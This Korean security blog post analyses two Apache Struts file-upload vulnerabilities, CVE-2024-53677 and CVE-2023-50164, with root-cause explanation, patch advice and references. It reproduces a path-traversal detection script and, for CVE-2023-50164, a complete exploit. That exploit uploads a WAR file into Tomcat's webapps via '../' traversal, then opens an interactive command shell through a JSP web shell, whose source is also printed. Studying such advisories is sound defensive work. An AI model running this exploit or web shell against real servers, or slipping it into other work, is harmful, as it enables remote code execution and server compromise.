1. CVE-2024-53677

[사진 1] CVE-2024-53677 [1]

- Apache Struts의 파일 업로드 로직의 결함으로 인한 임의 파일 업로드 취약점 (CVSS: 9.5)
> 현재 공격에 활발히 악용되는 중으로 신속한 패치 등 조치 권고

영향받는 버전
- 2.0.0 이상~2.3.37 이하 (EoL)
- 2.5.0 이상~2.5.33 이하 (EoL)
- 6.0.0 이상~6.3.0.2 이하

 

FileUploadInterceptor를 사용하는 경우만 취약점에 영향을 받음 [2]
> 공격자는 파일 업로드 매개변수를 조작하여 경로 탐색을 활성화할 수음
> 어떤 상황에서는 원격 코드 실행을 수행하는 데 사용할 수 있는 악성 파일을 업로드할 수 있음

※ 상세 내용 확인되지 않음

 

- 벤더사 제공 업데이트 적용 [3][4]

> 새로운 Action File Upload Mechanism으로 마이그레이션 권고 (이전 버전과의 호환성이 없기 때문에 새로운 코드 리팩토링 필요)

제품명 영향받는 버전 해결 버전
Apache Struts 2.0.0 이상~2.3.37 이하 (EoL)
2.5.0 이상~2.5.33 이하 (EoL)
6.0.0 이상~6.3.0.2 이하
6.4.0 이상

2. PoC

- 파일 업로드 기능을 사용해 ../를 포함한 임의의 파일 업로드 시도 [5]

import requests
import argparse
import logging
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler()]
)

def detect_vulnerability(target_url, upload_endpoint):
    """
    Non-destructive detection of CVE-2024-53677.
    """
    logging.info("Starting detection for CVE-2024-53677 (S2-067)...")
    upload_url = urljoin(target_url, upload_endpoint)
    test_filename = "../../vuln_test.txt"
    harmless_content = "S2-067 detection test."

    # Attempt to overwrite file name using OGNL binding
    files = {
        "upload": ("test.txt", harmless_content, "text/plain"),
        "top.uploadFileName": test_filename  # Attempt filename overwrite
    }

    # Custom Content-Type boundary
    boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": m.content_type
    }

    logging.info(f"Sending test request to upload endpoint: {upload_url}")

    try:
        # Send file upload request
        response = requests.post(upload_url, headers=headers, data=m, timeout=10)

        # Analyze HTTP response
        if response.status_code == 200:
            logging.info("[INFO] File upload request succeeded.")
            if "vuln_test.txt" in response.text:
                logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")
            else:
                logging.info("[INFO] Target does not appear vulnerable.")
        elif response.status_code in [403, 401]:
            logging.info("[INFO] Access denied. Ensure proper permissions.")
        else:
            logging.info(f"[INFO] Unexpected HTTP response: {response.status_code}")
    except requests.exceptions.RequestException as e:
        logging.error(f"[ERROR] Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-53677 (S2-067) Non-destructive Detection Tool")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to file upload endpoint (e.g., /upload.action)")
    args = parser.parse_args()

    logging.info("Starting detection process...")
    detect_vulnerability(args.url, args.upload_endpoint)
    logging.info("Detection process completed.")

if __name__ == "__main__":
    main()

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-53677
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://cwiki.apache.org/confluence/display/WW/S2-067
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71607&menuNo=205020
[5] https://github.com/TAM-K592/CVE-2024-53677-S2-067/tree/ALOK
[6] https://securityonline.info/hackers-exploit-critical-apache-struts-rce-flaw-cve-2024-53677-after-poc-exploit-release/#google_vignette
[7] https://blog.qualys.com/vulnerabilities-threat-research/2024/12/16/critical-apache-struts-file-upload-vulnerability-cve-2024-53677-risks-implications-and-enterprise-countermeasures
[8] https://www.cyber.gc.ca/en/alerts-advisories/cve-2024-53677-vulnerability-impacting-apache-struts-2#fn2
[9] https://www.bleepingcomputer.com/news/security/new-critical-apache-struts-flaw-exploited-to-find-vulnerable-servers/
[10] https://thehackernews.com/2024/12/patch-alert-critical-apache-struts-flaw.html

1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164 [1]

 

- 파일 업로드 매개변수 조작을 통해 경로 순회를 활성화하여 원격 코드 실행이 가능한 임의의 파일을 업로드할 수 있는 취약점 (CVSS: 9.8)

- 해당 취약점이 동작하기 위해서는 ① 취약한 버전 Apache Struts의 파일 업로드 기능을 사용하며 ② setter 루틴을 사용하는 사용자 정의 논리가 구현되어 있어야 하는 것으로 판단됨

영향받는 버전
- Apache Struts 6.0.0 ~ 6.3.0
- Apache Struts 2.5.0 ~ 2.5.32
- Apache Struts 2.0.0 ~ 2.3.37 EOL_제품 서비스가 종료되어 유지보수, 버그 수정, 보안 업데이트 등이 이루어지지 않음

 

2.1 취약점 상세 [3][4][5][6]

- 파일 업로드시 Struts 인터셉터 FileUploadInterceptor를 통해 파일 업로드 관련 매개변수를 추출

> FileUploadInterceptor는 파일 업로드 관련 매개변수를 HttpParameters에 매핑 [2]

> 매핑 과정에서 매개변수의 대ㆍ소문자를 구분할 경우 덮어쓰기를 유발하는 것으로 판단됨

[사진 2]  Upload 클래스

 

- 공격자는 POST 메소드를 이용해 /upload/upload.action 경로로 조작된 요청을 전송

> "Upload" 및 "uploadFileName"을 처리하는 과정에서 덮어쓰기가 발생

> 업로드 파일 덮어쓰기 및 경로 순회가 발생해 임의의 위치로 이동하여 파일 업로드가 가능해짐

 

[사진 3] 조작된 POST 요청 전송

 

2.2 PoC [7]

- 지정된 경로에 웹쉘 등 파일 업로드 후 연결을 시도하며, 200 반환시 쉘 획득

import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError

MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
CATALINA_HOME = "/opt/tomcat/"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 2


def get_base_url(url):
    parsed_url = urlparse(url)
    base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
    return base_url

def create_war_file():
    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
        print("[+] WAR file created successfully.")
    else:
        print("[+] WAR file already exists.")

def upload_file(url):
    create_war_file()

    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        print("[-] ERROR: webshell.war not found in the current directory.")
        exit()

    war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + '..' + \
        CATALINA_HOME + 'webapps/' + NAME_OF_WEBSHELL_WAR

    war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()

    files = {
        HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.txt", war_file_content, "application/octet-stream"),
        HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
    }

    boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {"Content-Type": m.content_type}

    try:
        response = requests.post(url, headers=headers, data=m)
        print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
    except requests.RequestException as e:
        print("[-] Error while uploading the WAR webshell:", e)
        sys.exit(1)

def attempt_connection(url):
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            r = requests.get(url)
            if r.status_code == 200:
                print('[+] Successfully connected to the web shell.')
                return True
            else:
                raise Exception
        except ConnectionError:
            if attempt == MAX_ATTEMPTS:
                print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
        except Exception:
            if attempt == MAX_ATTEMPTS:
                print('[-] Maximum attempts reached. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
    return False

def start_interactive_shell(url):
    if not attempt_connection(url):
        sys.exit()

    while True:
        try:
            cmd = input("\033[91mCMD\033[0m > ")
            if cmd == 'exit':
                raise KeyboardInterrupt
            r = requests.get(url + "?cmd=" + cmd, verify=False)
            if r.status_code == 200:
                print(r.text.replace('\n\n', ''))
            else:
                raise Exception
        except KeyboardInterrupt:
            sys.exit()
        except ConnectionError:
            print('[-] We lost our connection to the web shell. Exiting...')
            sys.exit()
        except:
            print('[-] Something unexpected happened. Exiting...')
            sys.exit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
    parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
    args = parser.parse_args()

    if not args.url.startswith("http"):
        print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
        exit()

    print("[+] Starting exploitation...")
    upload_file(args.url)

    webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
    print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")

    print(f"[+] Attempting a connection with webshell.")
    start_interactive_shell(webshell_url)

 

- 웹쉘은 cmd 매개변수로 명령을 전달받아 명령 수행 결과를 반환

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    String output = "";
    if (cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd, null, null);
            BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
            while ((s = sI.readLine()) != null) {
                output += s + "\n";
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
%>
<%=output %>

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [8]

> 업로드 후 임시 파일이 삭제되도록 보장

> HttpParameters 클래스가 매개 변수 이름을 대소문자 구분하지 않도록 변경

제품명 영향받는 버전 해결 버전
Struts 6.0.0 ~ 6.3.0 6.3.0.2
2.0.0 ~ 2.3.37(EOL)
2.5.0 ~ 2.5.32
2.5.33

 

- 파일 업로드 구성 검토 (업로드 파일 크기 제한 등 검토)

- 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://www.vicarius.io/vsociety/posts/apache-struts-rce-cve-2023-50164
[4] https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164/rapid7-analysis?referrer=notificationEmail
[5] https://xz.aliyun.com/t/13172#toc-5
[6] https://www.wealthymagnate.com/cve-2023-50164/
[7] https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71262&menuNo=205020
[9] https://www.boannews.com/media/view.asp?idx=124844&page=2&kind=1

 

======================================내용추가===============================================

1. 취약점 개요

- Apache Struct2 프레임워크를 사용하여 개발된 사이트는 기본적으로 ".action" 확장자 형태로 실행

> Action 클래스는 특정 앤드포인트에서 사용자의 요청을 처리하는데 사용됨

> 해당 취약점은 파일 업로드와 관련된 "/upload.action" 앤드포인트에서 발생

 

- ActionSupport를 상속받은 Upload 클래스에서 파일 업로드에 대한 파라미터 구성 확인 가능

> 정의된 파일 업로드에 대한 3가지 속성 값을 통해 파일 업로드를 처리

[사진 4] Upload 클래스

- 파일 업로드 시 HTTP 요청에서 각각의 파라미터명과 속성은 다음과 같이 매칭됨

> upload 파라미터를 변조하고, 원격 명령 실행을 위한 내용을 추가해 기존 파일의 내용을 덮어쓸 수 있음

> 이후 악성코드를 포함한 파일 내용을 uploadFileName을 추가하여 임의의 경로를 지정한 파일명으로 덮어씀

[사진 5] 파일 업로드 관련 요청에서 파라미터와 속성 매칭
[사진 6] 요청 변경 전 후 비교

2. 취약점 상세

2.1 파일 업로드 요청 - HttpParameters.java (HTTP 요청 파라미터를 처리)

- 파일 업로드 요청 수신 시 HttpParameters 클래스의 get(), remove(), contains() 메서드는 파일 업로드와 관련된 파라미터에 대한 비교를 수행

> 이때 취약한 버전의 HttpParameters 클래스는 파라미터에 대한 대소문자를 구분

> name="upload"name="Upload"의 경우 대소문자를 구분하기 때문에 각각 upload와 Uplaod라는 파라미터가 생성

[사진 7] HttpParameters

2.2 파일 업로드 파라미터 재정의 - 파일 내용 변조

- 취약한 버전의 HttpParameters 클래스는 대소문자를 구분해 기존의 파라미터에 대한 재정의가 가능

> ParametersInterceptor 클래스의 setParameters() 메서드에서 진행

> setParameters() 메서드는 TreeMap 구조로 파일 업로드를 처리하며, Java의 TreeMap은 숫자 > 대문자 > 소문자 > 한글 순으로 정렬

> 따라서, 파라미터 값으로 upload와 Upload가 존재한다면, Upload 파라미터의 파일 내용을 우선 출력

> 공격자는 파라미터 값을 Upload로 변조하고 웹쉘 스크립트를 삽입 및 전송해 기존 파일 내용을 덮어쓸 수 있음

※ TreeMap 구조
- Java의 java.util 패키지에서 제공되는 컬렉션 클래스 중 하나
- 키-값 쌍(Key-Value Pair)의 데이터를 중복 없이 저장하며 키를 정렬된 순서(오름차순)로 유지

[사진 8] setParameters()

2.3 파일 업로드 - FileUploadInterceptor.java

- struts-default.xml은 Apche Struts2에서 기본적으로 제공하는 설정 파일로, 사용자 요청을 지원하는 Interceptor를 정의

> 사용자로부터 파일 업로드 요청이 들어오면, FileUploadInterceptor 클래스는 multiWrapper를 통해 inputName 값을 기반으로 3가지 속성값을 가져와 파일 업로드 요청 처리 및 업로드 파일 서버에 저장

> 3가지 속성 값 : 파일 객체(File), 파일명(FileNme), 컨텐츠 타입(FileContent Type)

> 이때, 서버에 저장된 파일의 파일명은 setUploadFileName() 메소드에 전달

 

2.4 파일 업로드 파라미터 재정의 - 파일명 변조

- 서버에 업로드 된 악성파일에 접근하기 위해 서버에 업로드된 파일명을 나타내는 파라미터를 재정의

> 서버에 업로드된 파일의 파일명은 setUploadFileName()를 통해 처리되며, uploadFileName을 재정의해 임의의 경로를 초함한 파일명으로 변조 가능

[사진 9] 취약점 동작 과정

- 벤더사는 취약점에 대한 패치 배포

> HTTP 요청 파라미터 처리 과정에서 대소문자 구분하지 않도록 equalsIngoreCase() 메서드 추가

> 동일한 파라미터가 있는 경우 제거하는 remove() 메서드 추가

3. 출처

[1] https://www.skshieldus.com/kor/media/newsletter/insight.do (SK쉴더스 EQST insight 리포트 2024년 2월호)

+ Recent posts